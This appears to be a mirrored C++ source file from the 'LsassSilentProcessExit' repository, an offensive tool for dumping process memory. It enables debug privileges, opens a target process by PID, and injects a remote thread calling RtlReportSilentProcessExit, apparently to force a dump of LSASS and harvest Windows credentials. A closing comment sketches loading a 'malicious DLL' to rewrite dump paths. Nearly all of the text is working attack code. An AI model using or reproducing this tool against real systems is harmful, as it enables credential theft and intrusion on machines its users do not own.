mirror of
https://github.com/deepinstinct/LsassSilentProcessExit
synced 2026-06-21 13:48:59 +00:00
Asaf Gilboa
90 lines
2.6 KiB
C++
90 lines
2.6 KiB
C++
// SilentProcessExit.cpp : This file contains the 'main' function. Program execution begins and ends there.
|
|
//
|
|
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
|
|
typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
|
|
_In_ HANDLE ProcessHandle,
|
|
_In_ NTSTATUS ExitStatus
|
|
);
|
|
|
|
BOOL EnableDebugPrivilege(BOOL bEnable)
|
|
{
|
|
HANDLE hToken = nullptr;
|
|
LUID luid;
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
|
|
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
|
|
|
|
TOKEN_PRIVILEGES tokenPriv;
|
|
tokenPriv.PrivilegeCount = 1;
|
|
tokenPriv.Privileges[0].Luid = luid;
|
|
tokenPriv.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
|
|
|
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
int main(int argc, char* argv[])
|
|
{
|
|
if (!EnableDebugPrivilege(TRUE))
|
|
{
|
|
std::cout << "ERROR: Could not adjust token privileges! \n";
|
|
return -1;
|
|
}
|
|
|
|
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
|
|
PVOID pRtlReportSilentProcessExit = GetProcAddress(hNtdll, "RtlReportSilentProcessExit");
|
|
|
|
int pid = atoi(argv[1]);
|
|
|
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
|
|
|
|
if (hProcess == INVALID_HANDLE_VALUE)
|
|
{
|
|
int lastError = GetLastError();
|
|
std::cout << "ERROR OpenProcess() failed with error: " << lastError << "\n";
|
|
return -1;
|
|
}
|
|
|
|
// 0xFFFFFFFF = Self process
|
|
char* buf = (char*)"\xFF\xFF\xFF\xFF";
|
|
|
|
LPVOID arg = (LPVOID)VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
|
|
|
if (!arg)
|
|
{
|
|
int lastError = GetLastError();
|
|
std::cout << "ERROR VirtualAllocEx() failed with error: " << lastError << "\n";
|
|
return -1;
|
|
}
|
|
|
|
if (!WriteProcessMemory(hProcess, arg, buf, sizeof(buf), NULL))
|
|
{
|
|
int lastError = GetLastError();
|
|
std::cout << "ERROR WriteProcessMemory() failed with error: " << lastError << "\n";
|
|
return -1;
|
|
}
|
|
|
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);
|
|
|
|
if (!hThread)
|
|
{
|
|
int lastError = GetLastError();
|
|
std::cout << "ERROR CreateRemoteThread() failed with error: " << lastError << "\n";
|
|
return -1;
|
|
}
|
|
|
|
std::cout << "Done!\n";
|
|
std::cout << "arg = " << std::hex << arg << "\n";
|
|
}
|
|
|
|
// https://www.hexacorn.com/blog/2018/09/
|
|
// Call WerRegisterRuntimeExceptionModule() to register a malicious DLL which once loaded will find and ovewrite the following strings:
|
|
// Directory string format:
|
|
// %s\\%s-(PID-%u)-%u
|
|
// File Name string format:
|
|
// %s\\%s-(PID-%u).dmp
|